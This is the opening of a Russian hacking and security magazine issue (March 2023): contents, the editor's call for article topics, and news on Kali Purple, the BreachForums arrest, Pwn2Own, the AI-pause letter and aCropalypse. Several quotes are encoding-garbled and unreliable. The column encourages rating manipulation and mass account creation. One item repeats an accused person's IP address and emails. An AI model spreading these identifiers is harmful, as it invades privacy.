Вы находитесь на странице: 1из 38

март 2023

№ 288

CONTENTS
7 вечных тем
Ко­лон­ка глав­реда
MEGANews
Са­мые важ­ные события в мире инфо­сека за март
Неправильные эльфы
Учим исполня­емые фай­лы Linux соп­ротив­лять­ся отладке
Опасный модем
Зак­репля­емся в ата­кован­ной сис­теме при помощи USB-модема
Фундаментальные основы хакерства
Ис­поль­зуем отладчик для ана­лиза 64-раз­рядных прог­рамм в Windows
DOM XSS через Web Messaging
Как работа­ет лег­кий спо­соб получить XSS с помощью postMessage
Поставщик небезопасности
Как Windows рас­кры­вает пароль поль­зовате­ля
Девайс-невидимка
Встра­иваем­ся в локаль­ную сеть с помощью «невиди­мого» хакер­ско­го устрой­ства
Ангард!
Ре­вер­сим при­ложе­ние, защищен­ное DNGuard
Уроки форензики
Ищем ули­ки в сетевом тра­фике
HTB Mentor
Из­вле­каем информа­цию из SNMP и пен­тестим API веб‑сер­виса
HTB Vessel
Экс­плу­ати­руем уяз­вимость в клас­тере Kubernetes
HTB Extension
Пен­тестим пла­гин для Gitea и сбе­гаем из Docker
HTB Forgot
От­равля­ем Web Cache для получе­ния админки сай­та
Состязание в приватности
Срав­нива­ем безопас­ные бра­узе­ры 2023 года
Чит своими руками
Смот­рим сквозь сте­ны и дела­ем автопри­цели­вание для 3D-шутера
Титры
Кто дела­ет этот жур­нал
ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает


редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже


опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет


подписки или она скоро кончится,
спеши исправить это!
HEADER

КОЛОНКА ГЛАВРЕДА

Если ты читаешь «Хакер» регулярно, то


наверняка уже встречал многочисленные
призывы редакции написать нам статью.
Ведь большую часть наших материалов
пишут не какие-то специально обученные Андрей Письменный
Главный редактор
люди, а простые айтишники, хакеры apismenny@gmail.com

и безопасники. Редакторы же только


помогают довести текст до ума и немножко
олитературить. И вот у меня возникла новая
идея, как мотивировать потенциальных
авторов: рассказать, какие статьи нам нуж-
ны в первую очередь.

Существуют темы, о которых «Хакер» мог бы писать бесконечно и для которых


постоянно не хватает рук. Давай пройдемся по ним и ты подумаешь, не готов
ли взяться за что-то из этого. Если вдруг появится идея — открывай почтовик
и шли письмо на pismenny@glc.ru, а если предпочитаешь «Телеграм», то
на @apismenny. Ответ гарантирован, хоть и не моментальный!
Напоминаю, что наши авторы получают за работу гонорары, помимо того,
что читают «Хакер» бесплатно. Суммы варьируются в зависимости от темы
и сложности материала.

ÒÅÌÀ 1. ÓÒÈËÈÒÛ ÄËß ÂÇËÎÌÀ

Постоянные читатели наверняка помнят рубрику X-Tools, где мы делали обзо-


ры новых хакерских утилит. В какой-то момент кончились не то утилиты, не то
авторы этой рубрики, и в итоге она куда-то запропастилась. Возрождать ее
мы не планируем, но сами руководства по хактулзам нужны как никогда —
причем как по новым, так и по старым, хорошо известным. Со временем
меняется и набор функций, и контекст, и многое другое. Вещь, о которой нуж-
но помнить, берясь за такой текст: он не должен быть переводом справки
к утилите. Гораздо интереснее показать тулзу в деле и рассказать о разных
случаях, в которых она может пригодиться.

ÒÅÌÀ 2. ÒÐÞÊÈ, ÀÂÒÎÌÀÒÈÇÀÖÈß È DIY

Каждый уважающий себя гик и тем более сисадмин или безопасник неп-
рерывно улучшает свой рабочий процесс. В ход идут разные средства авто-
матизации и тонкой настройки операционной системы. Мы бы хотели время
от времени публиковать статьи, которые расскажут читателям о разных
неочевидных ходах и полезных программах. Сюда же относится и всякое
самоделие: если ты смастерил космический корабль из кофеварки и старого
смартфона, из этого наверняка выйдет забойное чтиво!

ÒÅÌÀ 3. ÑÐÀÂÍÅÍÈÅ ÑÐÅÄÑÒÂ ÇÀÙÈÒÛ

По сути, это обыкновенные тесты софта, но не любого, а для обеспечения


безопасности — как личной, так и корпоративной. От десктопных антивиру-
сов и файрволов до SIEM. Программы обязательно нужно пробовать самос-
тоятельно, по возможности в условиях, приближенных к боевым. В качестве
хорошего примера можно посмотреть наш цикл статей про бесплатные анти-
вирусы.

ÒÅÌÀ 4. ÀÍÀËÈÇ ÏÐÈÂÀÒÍÎÑÒÈ ÏÎÏÓËßÐÍÎÃÎ ÑÎÔÒÀ

Разработчики программ часто наделяют свои творения незаметными функци-


ями, которые не только не помогают пользователю, но и вредят ему, отправ-
ляя личные данные на какой-нибудь левый сервер. Кто-то должен обнаружи-
вать эту активность и сообщать о ней. Взяв в руки TCPView или Wireshark, ты
можешь стать тем самым героем, который выведет злодеев на чистую воду.
В качестве примера можешь глянуть статью о том, как Windows 10 не отли-
пает от серверов Microsoft. Проверять, кстати, можно не только софт, но и
любые умные устройства, до которых получится дотянуться.

ÒÅÌÀ 5. ÓßÇÂÈÌÎÑÒÈ È ÒÅÕÍÈÊÈ ÂÇËÎÌÀ Ñ ÍÓËß

За все время существования «Хакера» мы неоднократно и на разные лады


объясняли все основные техники атак. Но, как и в случае с утилитами, кон-
текст постоянно меняется, и толковые, подробные и новые описания даже
самых базовых вещей вроде подбора пароля или SQL-инъекций будут полез-
ны новым читателям. Как сделать толково? Показывать всё на практике,
давать примеры из реальных кейсов, не жалеть ссылок на дополнительные
материалы.

ÒÅÌÀ 6. ÊÎÄÈÍÃ

В рубрику «Кодинг» сейчас нужно несколько форматов. Первый — циклы


в духе наших статей «Python с нуля», но по другим языкам. В первую оче-
редь — Java, JavaScript и Go. Это материалы для абсолютнейших новичков.
Второй нужный формат — техники написания хактулз: скреперов, снифферов,
фаззеров и прочей хакерской веселухи. Третий — «кодинг для профи»: про-
фессиональные советы о том, как писать оптимальный, более защищенный
и легко поддерживаемый код на одном из популярных языков.

ÒÅÌÀ 7. ÇÀÐÀÁÎÒÎÊ Â ÈÍÒÅÐÍÅÒÅ

Множество людей зарабатывает деньги изощренными способами, которые,


с одной стороны, не найдешь в классификаторе профессий, с другой —
не относятся к криминалу и в худшем случае нарушают какое-нибудь поль-
зовательское соглашение. Сбор данных с сайтов, которые от этого защище-
ны, накрутка рейтингов, массовое создание аккаунтов и прочее в таком духе,
а также предоставление сопутствующих товаров и услуг. Обо всем этом мож-
но интересно рассказать, имея личный опыт или достаточно знакомств в этой
области. Интересны как практические статьи, так и рассказы об индустрии:
что сколько стоит, где продается, какие есть неочевидные моменты.

ÍÀÏÓÒÑÒÂÈÅ

Обычно человек, читавший «Хакер», уже неплохо представляет себе, как выг-
лядят наши статьи. Но на всякий случай напомню: мы стараемся писать
живым языком, без зауми; общаемся с читателем на ты и используем те сло-
ва, которыми обсуждали бы те же темы между собой. Юмор и хорошее нас-
троение всегда приветствуются!
Но не буду повторяться — советы о том, как писать, я уже давал в одном
из прошлых выпусков колонки. Читай, вдохновляйся и дай знать мне
или кому-то из редакторов, когда придумаешь подходящую тему.
Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: представлен дистрибутив Kali Purple, ученые


и эксперты призывают приостановить обучение ИИ, пра-
воохранители арестовали создателя BreachForums, дроны
DJI раскрывают местоположение своих операторов, Twitter
ищет человека, который слил исходные коды компании
на GitHub, в TPM 2.0 выявлены опасные уязвимости, а также
другие интересные события марта.

KALI PURPLE
ДЛЯ БЕЗОПАСНИКОВ

Компания Offensive Security выпустила Kali Linux 2023.1, первую в 2023 году
версию (к тому же приуроченную к десятилетию проекта), с новым дистри-
бутивом Kali Purple, который предназначен для blue и purple team, то есть ори-
ентирован на оборонительную безопасность.

« «Çà ïðîøåäøèå ãîäû ìû óñîâåðøåíñòâîâàëè òî, íà ÷åì ñïåöèàëè


çèðîâàëèñü, òî åñòü íàñòóïàòåëüíóþ áåçîïàñíîñòü. Òåïåðü ìû
íà÷èíàåì ïåðåõîä â íîâóþ îáëàñòü — îáîðîíèòåëüíóþ áåçîïàñ
íîñòü, — ïèøóò â Offensive Security. — Ìû äåëàåì ïðåäñòàðòîâûé
çàïóñê îçíàêîìèòåëüíîé òåõíè÷åñêîé âåðñèè Kali Purple. [Äèñòðèáóòèâ]
ïîêà íàõîäèòñÿ íà íà÷àëüíîì ýòàïå ðàçâèòèÿ, è åìó ïîòðåáóåòñÿ âðå
ìÿ, ÷òîáû ñîçðåòü. Íî âû óæå ìîæåòå âèäåòü íàïðàâëåíèå, â êîòîðîì
ðàçâèâàåòñÿ Kali, à òàêæå ìîæåòå ïðèíÿòü ó÷àñòèå â ôîðìèðîâàíèè
ýòîãî íàïðàâëåíèÿ!»

Хотя дистрибутив еще на ранних стадиях разработки, он уже включает в себя


»
более 100 защитных инструментов, в том числе Malcolm, Suricata, Arkime,
TheHive и Zeek, а также имеет специальную Wiki, которая поможет начать
работу.
Kali Purple уже можно загрузить в виде ISO-образа для систем x64/AMD64.
Кроме того, стоит отметить, что в состав Kali 2023.1 вошли сразу восемь
новых инструментов:
• Arkime — инструмент для захвата и поиска пакетов с открытым исходным
кодом;
• CyberChef — настоящий «мультитул», позволяющий анализировать, рас-
шифровывать, деобфуцировать и декодировать данные с помощью самых
разных инструментов;
• DefectDojo — опенсорсный инструмент для корреляции и оркестровки
безопасности и управления уязвимостями приложений;
• Dscan — wrapper для Nmap для распределенного сбора сетевых данных;
• Kubernetes-Helm — платформа управления пакетами Kubernetes с откры-
тым исходным кодом;
• PACK2 — комплект для анализа и взлома паролей;
• Redeye — инструмент, призванный помочь наиболее эффективно и орга-
низованно управлять своими данными во время пентеста;
• Unicrypto — единый интерфейс для ряда криптоалгоритмов.

42% КОМПАНИЙ НЕ ХВАТАЕТ ИБ-СПЕЦИАЛИСТОВ


По данным «Лаборатории Касперского», более трети компаний в России (42%) вынуждены
обращаться к поставщикам управляемых IT- и ИБ-услуг (MSP/MSSP) из-за нехватки собствен-
ных специалистов.

Аналогичное же число респондентов (по 42%) указали две другие причины работы с компани-
ями в сфере ИБ на аутсорсе: более высокая эффективность и необходимость следовать тре-
бованиям регуляторов.

Около трети опрошенных отметили недостаток опыта в сфере кибербезопасности внутри своей
организации (36%) и финансовую выгоду, связанную с оптимизацией затрат на поддержку
штата, покупку лицензий, разворачивание и масштабирование IT-инфраструктуры (32%).

СОЗДАТЕЛЬ
BREACHFORUMS
АРЕСТОВАН

В конце марта стало известно об аресте живущего в Нью-Йорке владельца


и основателя хакерского форума BreachForums (известен в сети
как Pompompurin).
В последнее время BreachForums был крупнейшим хак-форумом, пос-
вященным утечкам данных, и обычно именно он использовался взломщиками
и вымогателями для слива информации. Ресурс был запущен
Pompompurin’ом в прошлом году, после того как ФБР закрыло хакерский сайт
RaidForums.
Лично Pompompurin и другие участники BreachForums связаны со множес-
твом громких взломов и утечек данных, включая кражу данных миллионов
пользователей Robinhood, утечку данные 5,4 миллиона пользователей Twitter,
недавние атаки на Acer и Activision.
По данным министерства юстиции, до отключения на BreachForums нас-
читывалось более 340 тысяч пользователей. По состоянию на 11 янва-
ря 2023 года в БД платформы было 888 наборов данных, состоящих более
чем из 14 миллиардов отдельных записей.
Вскоре после ареста основателя ресурса оставшийся администратор,
известный под ником Baphomet, был вынужден закрыть сайт окончательно,
так как обнаружил, что продолжать работу небезопасно, ведь к инфраструк-
туре BreachForums, похоже, уже получили доступ правоохранители.
Дело в том, что, когда инфраструктура BreachForums была отключена,
в сети остался старый CDN-сервер, на котором размещались не слишком
важные данные.

« «Âî âðåìÿ ìèãðàöèè ÿ ïðîâåðÿë, íå ïðîèñõîäèò ëè ÷åãî òî ïîäîç


ðèòåëüíîãî, ÷òî ìîãëî áû âûçûâàòü áåñïîêîéñòâî, — ïèñàë
Baphomet. — Îäíèì èç ïðîâåðåííûõ ìíîé ñåðâåðîâ áûë íàø ñòàðûé
ñåðâåð CDN, óïîìÿíóòûé âûøå. Ïîõîæå, êòî òî âõîäèë â ñèñ
òåìó 19 ìàðòà, â 1:34 EST, äî òîãî, êàê íà ñåðâåð âîøåë ÿ.
Ê ñîæàëåíèþ, ýòî ïðèâîäèò íàñ ê âûâîäó, ÷òî, ñêîðåå âñåãî,
ó êîãî òî åñòü äîñòóï ê ìàøèíå Pom’a. Íàøè ñåðâåðû íèêîãäà
íå èñïîëüçóþòñÿ êåì òî åùå, ïîýòîìó êòî òî äîëæåí áûë çíàòü ó÷åò
íûå äàííûå, ÷òîáû èìåòü âîçìîæíîñòü âîéòè â ñèñòåìó.
Òåïåðü ÿ ÷óâñòâóþ, ÷òî îêàçàëñÿ â ñèòóàöèè, êîãäà íåëüçÿ ñ÷èòàòü,
÷òî õîòü ÷òî òî íàõîäèòñÿ â áåçîïàñíîñòè, áóäü òî íàøè êîíôèãóðà
öèè, èñõîäíûé êîä èëè èíôîðìàöèÿ î íàøèõ ïîëüçîâàòåëÿõ — ñïèñîê
áåñêîíå÷åí».

Как в итоге сообщили американские власти, 20-летнему Коннору Брайану


»
Фитцпатрику (Conor Brian FitzPatric), также известному как Pompompurin,
предъявлены обвинения, связанные с хищением и продажей конфиденциаль-
ной личной информации, принадлежащей «миллионам граждан США, а также
сотням американских и иностранных компаний, организаций и государствен-
ных учреждений». Фитцпатрик обвиняется в сговоре с целью совершения
мошенничества с устройствами доступа, и в случае признания виновным ему
грозит до пяти лет тюремного заключения.
В настоящее время Фитцпатрик уже предстал перед судом и был отпущен
под залог в размере 300 тысяч долларов.
В судебных документах специальный агент ФБР Джон Лонгмайр (John
Longmire) рассказывает, что ФБР получило доступ к БД BreachForums и это
помогло установить, что Фитцпатрик действительно Pompompurin.
Правоохранители пришли к таким выводам на основании журналов
активности и данных интернет-провайдера обвиняемого, Optimum Online
(учетная запись зарегистрирована на адрес conortz@optimum.net), а также
данных, полученных от компаний Verizon, Google и Apple.
Связать Фитцпатрика с личностью основателя BreachForums помог час-
тный разговор, в ходе которого Фитцпатрик сообщил владельцу ныне зак-
рытого RaidForums, что украденная база данных ai.type, попавшая на Have I
Been Pwned, не содержит его старый почтовый адрес
conortzpatrick02@gmail.com. Доступ к этому чату правоохранители получили
после ликвидации RaidForums и конфискации серверов.
Лонгмайр пишет, что, помимо этого, ФБР выявило IP-адрес Фитцпатрика
в Optimum Online (69.115.201.194), попавший в базу BreachForums, так
как однажды он использовал его для входа на хак-форум, судя по всему
забыв использовать Tor или включить VPN (также вероятно, что VPN-сервис
допустил сбой). Этот же IP был связан с личным аккаунтом iCloud Фитцпат-
рика.
Кроме того, данные Verizon показали, что IP-адреса, ранее использован-
ные для доступа к учетной записи Pompompurin на RaidForums, были привяза-
ны к мобильным устройствам, зарегистрированным на Фитцпатрика, который
проживает в доме своего отца в городе Пикскилле.
В ходе ареста сам обвиняемый открыто признался правоохранительным
органам (без присутствия адвоката), что именно он скрывается за псев-
донимом Pompompurin на BreachForums.

« «Îí òàêæå ïðèçíàë, ÷òî âëàäååò BreachForums è óïðàâëÿåò èì, à ðàíåå


óïðàâëÿë ó÷åòíîé çàïèñüþ Pompompurin íà RaidForums. Ïî åãî îöåí
êàì, îí çàðàáàòûâàë îêîëî 1000 äîëëàðîâ â äåíü íà BreachForums
è èñïîëüçîâàë ýòè äåíüãè äëÿ àäìèíèñòðèðîâàíèÿ ðåñóðñà è ïîêóïêè
äðóãèõ äîìåíîâ», — ãëàñÿò äîêóìåíòû.
»
ИИ ПОВЛИЯЕТ НА РЫНОК ТРУДА
Исследователи из Goldman Sachs подготовили специальный отчет, посвященный тому,
как ИИ-системы могут повлиять на рынок труда в США и Европе. По их мнению, появление
генеративного ИИ может так или иначе затронуть до 300 000 000 рабочих мест. Однако боль-
шинство отраслей и профессий будут только частично подвержены автоматизации и скорее
будут дополнены, а не заменены искусственным интеллектом.

Примерно 2/3 всех рабочих мест может затронуть автоматизация с использованием ИИ,
который снимет до 50% нагрузки с работников.

Ожидается, что лишь 7% трудящихся могут потерять свою должность и могут быть заменены
ИИ. Еще в 63% случав ИИ возьмет на себя лишь часть задач, облегчив работу людям, а при-
мерно 30% работающих людей развитие ИИ-систем вообще не затронет.

Около 25% всех рабочих задач, выполняемых в США и Европе, могут быть автоматизированы
с помощью искусственного интеллекта.

В США наибольшей угрозе «вытеснения» с рынка труда подвержены офисные и административ-


ные работники (46%), юристы (44%), а также специалисты в области архитектуры и проекти-
рования (37%).

Наименьшей угрозе со стороны ИИ подвергаются специалисты по уборке и обслуживанию,


а также ремонту и строительству.

Если широко использовать искусственный интеллект, то общий рост мирового ВВП может сос-
тавить 7% в течение следующих десяти лет, считают эксперты.

SYNACKTIV
ПОБЕДИЛА
НА PWN2OWN

На конференции CanSecWest завершилось хакерское соревнование


Pwn2Own. В этом году специалисты суммарно раскрыли 27 уникальных 0-day-
уязвимостей, скомпрометировав в числе прочего Tesla Model 3, Windows 11,
macOS и Ubuntu, и забрали с собой 1 035 000 долларов и новую Tesla Model
3.
Бесспорным лидером соревнований стала французская команда
Synacktiv, в состав которой в этом году вошли Элуа Бенуа-Вандербекен (Eloi
Benoist-Vanderbeken), Давид Берар (David Berard), Винсент Деор (Vincent
Dehors), Танги Дуброка (Tanguy Dubroca), Тома Бузерар (Thomas Bouzerar)
и Тома Имбер (Thomas Imbert).
На счету специалистов следующие успешные взломы и призы:
• 250 000 äîëëàðîâ: цепочка эксплоитов, направленная на перепол-
нение хипа и запись в OOB, позволяющая получить свободный root через
инфотеймент-систему Tesla Model 3;
• 100 000 äîëëàðîâ: атака типа TOCTOU (time of check to time of use)
на Tesla Model 3;
• 80 000 äîëëàðîâ: цепочка из трех ошибок, направленная на повышение
привилегий на хосте Oracle VirtualBox;
• 40 000 äîëëàðîâ: TOCTOU-атака на повышение привилегий в Apple
macOS;
• 30 000 äîëëàðîâ: повышение привилегий в Ubuntu Desktop;
• 30 000 äîëëàðîâ: атака на UAF в Microsoft Windows 11.

Суммарно команда увезла домой 530 тысяч долларов (это примерно полови-
на всего призового фонда соревнований), Tesla Model 3 и заработала 53 бал-
ла Master of Pwn, обогнав всех соперников с огромным отрывом.

Это уже второй раз, когда Synacktiv выигрывает Pwn2Own. В прошлый раз
специалисты Synacktiv заняли первое место в 2021 году, на Pwn2Own Austin.
Теперь все поставщики должны исправить продемонстрированные и рас-
крытые во время Pwn2Own уязвимости в течение 90 дней, а затем Trend Micro
Zero Day Initiative открыто опубликует технические подробности всех исполь-
зованных на соревновании 0-day-эксплоитов.

МЕДВЕДЕВ ПОДДЕРЖАЛ ПИРАТСТВО

Зампред Совбеза РФ Дмитрий Медведев заявил, что считает правильным скачивать и рас-
пространять в сети пиратские копии фильмов и музыкальных произведений, которые стали
недоступны в России по решению западных правообладателей.

→ «Знаете что? Ищите правильных пиратов и скачивайте у них. Если они ушли
от нас, всякие „Нетфликсы“ и прочие, значит, будем это все скачивать, будем
пользоваться бесплатно. А я бы все это по сети разбрасывал, для того чтобы
причинить им максимальный урон. Максимальный урон, чтобы они обанкро-
тились!»

— заявил Медведев в интервью российским СМИ, комментируя исчезновение, в частности,


некоторой западной музыки из онлайн-сервисов в РФ.
Также он отметил, что раньше отрицательно относился к пиратству, как юрист, «и считал,
что лучше переплатить», даже когда ему говорили, что «все есть на торрент-трекерах».

ЗАДЕРЖИТЕ ИИ!

Более тысячи человек, в число которых вошли профессора и ИИ-разработ-


чики, подписали открытое письмо, обращенное ко всем лабораториям,
занимающимся разработкой искусственного интеллекта. В послании, опуб-
ликованном некоммерческой организацией Future of Life, эксперты призыва-
ют немедленно приостановить разработку и обучение ИИ, более мощных,
чем GPT-4, хотя бы на полгода.
Письмо подписали многие известные люди, которые занимаются раз-
работкой и технологиями в сфере ИИ, в том числе: соучредитель OpenAI
Илон Маск, математик, кибернетик и информатик, наиболее известный
работами в области искусственного интеллекта, а также основатель Mila
Йошуа Бенджио, соучредитель Apple Стив Возняк, глава Stability AI Эмад Мос-
трак, пионер исследований в области ИИ Стюарт Рассел, а также основатель
Geometric Intelligence Гэри Маркус.
В открытом письме упоминаются потенциальные риски для общества
и человечества, возникающие в результате быстрого развития передовых
ИИ-систем в отсутствие общих протоколов безопасности. Подписавшиеся
считают, что потенциальные риски этой «революции» еще только предстоит
всецело оценить и учесть с помощью комплексной системы управления, тог-
да как положительный эффект от этих технологий не гарантирован.

« «Ïðîäâèíóòûé ÈÈ ìîæåò ïîâëå÷ü çà ñîáîé çíà÷èòåëüíûå èçìåíåíèÿ


â èñòîðèè æèçíè íà Çåìëå, è åãî ñëåäóåò ïëàíèðîâàòü è óïðàâëÿòü èì
ñ ñîîòâåòñòâóþùåé îñòîðîæíîñòüþ è ðåñóðñàìè, — ãëàñèò ïîñ
ëàíèå. — Ê ñîæàëåíèþ, òàêîãî ïëàíèðîâàíèÿ è óïðàâëåíèÿ íå ïðî
èñõîäèò, íåâçèðàÿ íà òî, ÷òî â ïîñëåäíèå ìåñÿöû ÈÈ ëàáîðàòîðèè
ââÿçàëèñü â íåêîíòðîëèðóåìóþ ãîíêó ïî ðàçðàáîòêå è âíåäðåíèþ âñå
áîëåå ìîùíûõ öèôðîâûõ ðàçóìîâ, êîòîðûå íèêòî (âêëþ÷àÿ èõ ñîç
äàòåëåé) íå ìîæåò ïîíÿòü, ïðåäñêàçàòü èëè íàäåæíî êîíòðîëèðîâàòü».

Также письмо предупреждает, что современные ИИ-системы уже напрямую


»
конкурируют с людьми в выполнении общих задач, что поднимает ряд
экзистенциальных и этических вопросов, которые человечеству все
еще необходимо рассмотреть, обсудить и решить.
Некоторые из этих вопросов касаются потока информации, генерируемой
ИИ, неконтролируемой автоматизации рабочих мест, развития систем,
которые превосходят человека и из-за которых люди могут «устареть», а так-
же контроля над цивилизацией в целом.
Эксперты считают, что мы достигли того момента, когда следует обучать
более продвинутые ИИ-системы только под строгим надзором и лишь имея
уверенность в том, что риски, возникающие при их развертывании, управля-
емы.

« «Ïîýòîìó ìû ïðèçûâàåì âñå ÈÈ ëàáîðàòîðèè íåìåäëåííî ïðèîñòà


íîâèòü îáó÷åíèå ÈÈ ñèñòåì, áîëåå ìîùíûõ, ÷åì GPT-4, êàê ìèíèìóì
íà øåñòü ìåñÿöåâ, — ãîâîðèòñÿ â ïèñüìå. — Ýòà ïàóçà äîëæíà áûòü
ïóáëè÷íîé è ïîääàþùåéñÿ ïðîâåðêå, è îíà äîëæíà çàòðàãèâàòü âñåõ
êëþ÷åâûõ ó÷àñòíèêîâ. Åñëè òàêàÿ ïàóçà íå ìîæåò áûòü âçÿòà áûñòðî,
ïðàâèòåëüñòâà äîëæíû âìåøàòüñÿ è ââåñòè ìîðàòîðèé».

Во время этой паузы разработчикам ИИ предлагается собраться вместе


»
и договориться о создании единых протоколов безопасности, которые затем
смогут использоваться для аудитов, проводимых внешними независимыми
экспертами.
Кроме того, подписанты полагают, что политикам следует принять защит-
ные меры и заняться регулированием данной сферы. В частности, предлага-
ется создать систему «водяных знаков», позволяющих эффективно отличать
подлинный контент от фальшивого, проработать возможность возложения
ответственности за вред, причиненный материалами, созданными ИИ, а так-
же выделить государственное финансирование на исследование рисков, свя-
занных с ИИ.
Письмо не содержит призывов полностью прекратить разработку ИИ.
В нем, напротив, подчеркиваются потенциальные опасности, связанные
с растущей конкуренцией между разработчиками ИИ, стремящимися занять
свою нишу на быстро растущем рынке.

« «Ñ ÈÈ ÷åëîâå÷åñòâî ìîæåò íàñëàæäàòüñÿ ïðåêðàñíûì áóäóùèì. Ïðå


óñïåâ â ñîçäàíèè ìîùíûõ ÈÈ ñèñòåì, ìû ìîæåì íàñëàæäàòüñÿ „ðàñ
öâåòîì ÈÈ“ è ïîæèíàòü ïëîäû, ðàçðàáàòûâàÿ ýòè ñèñòåìû äëÿ âñå
îáùåãî áëàãà è äàâàÿ îáùåñòâó øàíñ àäàïòèðîâàòüñÿ. Îáùåñòâî ïðè
îñòàíîâèëî ðàçâèòèå äðóãèõ òåõíîëîãèé, íåñóùèõ ïîòåíöèàëüíî
êàòàñòðîôè÷åñêèå ïîñëåäñòâèÿ. Ìû ìîæåì ïîñòóïèòü òàê æå
è çäåñü», — çàêëþ÷àþò ýêñïåðòû.
»
2 ÌÈËËÈÀÐÄÀ ÄÎËËÀÐÎÂ ВЫВЕЛИ С BINANCE
За последнюю неделю марта отток средств с криптовалютной биржи Binance составил 2,1 мил
лиарда долларов США. Об этом сообщило издание Wall Street Journal со ссылкой на данные
аналитической платформы Nansen.

На общедоступных кошельках биржи в настоящий момент содержится 63,2 миллиарда дол


ларов. Темпы снятия средств превысили обычную активность и ускорились после объявления
Комиссии по торговле товарными фьючерсами США (CFTC) о том, что та подает в суд на крип-
товалютную биржу, обвиняя ее в незаконной деятельности на территории США.

Доля компании на рынке упала на 30% с 24 марта 2023 года, сообщают аналитики компании
CryptoCompare.

Продолжение статьи →
← Начало статьи

УТЕКЛИ ИСХОДНИКИ
TWITTER

Компания Twitter добилась удаления с GitHub внутренних исходных кодов сво-


ей платформы и инструментов, которые утекли в открытый доступ несколько
месяцев назад. Теперь Twitter требует от GitHub раскрыть данные человека,
который слил исходники, и всех, кто получал к ним доступ.
В конце месяца представители GitHub были вынуждены отреагировать
на нарушение закона «Об авторском праве в цифровую эпоху» (DMCA) и жа-
лобу Twitter, которая заявила об утечке проприетарных исходных кодов и внут-
ренних инструментов, что могло представлять угрозу для безопасности ком-
пании.
Согласно жалобе, источником утечки стал пользователь
FreeSpeechEnthusiast, причем его ник — явная отсылка к словам Илона Мас-
ка, который часто называет себя абсолютистом в вопросах свободы слова
(free speech absolutist). То есть, вероятно, информацию слил недовольный
сотрудник Twitter (скорее всего, уволенный после покупки компании Маском).
В настоящее время учетная запись FreeSpeechEnthusiast по-прежнему
активна, но у пользователя нет других общедоступных репозиториев.
По информации СМИ, когда именно произошла утечка, неизвестно,
но журналисты считают, что исходники были доступны в сети «в течение
как минимум нескольких месяцев».
В своей жалобе на нарушение авторских прав Twitter требует от GitHub
предоставить информацию об истории доступов к этой утечке, вероятно
желая определить ее источник.

« «Ïîæàëóéñòà, ñîõðàíèòå è ïðåäîñòàâüòå êîïèè ëþáûõ èñòîðèé çàã


ðóçêè/ñêà÷èâàíèÿ/äîñòóïà (è ëþáîé êîíòàêòíîé èíôîðìàöèè, IP-àäðå
ñîâ èëè äðóãèõ ñâÿçàííûõ äàííûõ î ñåàíñå), à òàêæå ëþáûõ æóðíàëîâ,
ñâÿçàííûõ ñ ýòèì ðåïîçèòîðèåì è ëþáûìè åãî ôîðêàìè, ïðåæäå ÷åì
óäàëÿòü âåñü íàðóøàþùèé àâòîðñêèå ïðàâà êîíòåíò ñ GitHub», — ãëà
ñèò äîêóìåíò.

В настоящее время Twitter пытается использовать судебную повестку, чтобы


»
вынудить GitHub предоставить идентифицирующую информацию о поль-
зователе FreeSpeechEnthusiast и любом другом, кто получил доступ к утечке
и распространял исходные коды Twitter. Полученные данные будут исполь-
зованы для дальнейших судебных исков.
Представители GitHub не сообщают, сколько людей получили доступ
к утекшим исходным кодам Twitter или скачали их, но у FreeSpeechEnthusiast
было мало подписчиков. Несмотря на это, отмечается, что утечка может
иметь серьезные последствия для Twitter, так как исходники могут быть тща-
тельно изучены посторонними для выявления потенциально опасных уяз-
вимостей.

ФИШЕРОВ СТАЛО БОЛЬШЕ


Group-IB сообщила, что в 2022 году заблокировала более 59 000 фишинговых сайтов,
из которых более 7000 были обнаружены в российском сегменте интернета, что в два раза
больше, чем годом ранее.

Мошеннические ресурсы похищали у россиян логины и пароли, данные банковских карт, акка-
унты в мессенджерах.

Если в 2021 году количество заблокированных СERT-GIB ресурсов в интернете составило


31 455, то в 2022 году их число увеличилось до 59 282.

В зонах .ru и .рф количество заблокированных сайтов выросло более чем вдвое: с 3210
до 7121.

В целом за прошлый год только в зонах .ru и .рф специалисты обнаружили 20 170 фишинговых
доменов (в 2021 году их число составляло 15 363 домена).

Злоумышленники пользовались услугами хостинг-провайдеров, расположенных в основном


в США, России и Германии. При этом каждый третий сайт мошенников был в доменной зоне
.com (33,8% от общего числа ресурсов).

ACROPALYPSE
УГРОЖАЕТ WINDOWS
И PIXEL

Разработчики Microsoft экстренно обновили инструменты Snipping Tool и Snip


and Sketch («Ножницы») в Windows 10 и 11, исправив недавно обнаруженную
уязвимость, получившую название aCropalypse. Баг позволял восстановить
оригинал любого изображения, отредактированного с помощью «Ножниц».
Изначально проблему aCropalypse (CVE-2023-21036) обнаружили
в устройствах Google Pixel и связали с редактором скриншотов Markup,
который появился на смартфонах в 2018 году, с релизом Android 9.0 Pie.
Суть уязвимости заключалась в том, как именно файл изображения откры-
вается для редактирования и сохраняется: обрезанные или закрашенные
при помощи Markup данные все равно остаются в новом сохраненном файле,
что позволяет восстановить примерно 80% исходной картинки.

Восстановление закрашенного номера банковской карты

Исследователи предупреждали, что aCropalypse может раскрывать кон-


фиденциальную информацию пользователей, если они когда-либо редак-
тировали изображение с помощью Markup, а затем делились этим файлом
с другими людьми или публиковали его в интернете.
Из-за уязвимости утечь в сеть могла самая разная информация, включая
конфиденциальные данные из документов, данные о местоположении, кон-
фиденциальные URL-адреса на скриншотах браузера, номера банковских
карт, лица и другие нежелательные подробности на откровенных фото. Сло-
вом, все то, что обычно обрезают и замазывают на фотографиях и скрин-
шотах.
Вскоре после раскрытия данных об оригинальной проблеме выяснилось,
что эта уязвимость представляет опасность и для инструментов Snipping Tool
и Snip and Sketch в Windows 10 и 11. В данном случае точно так же возможно
частично восстановить оригинальный вид ранее обрезанных картинок.
Эксперты продемонстрировали успешное восстановление изображений
в формате PNG и допустили, что то же самое можно проделать и с файлами
JPG.
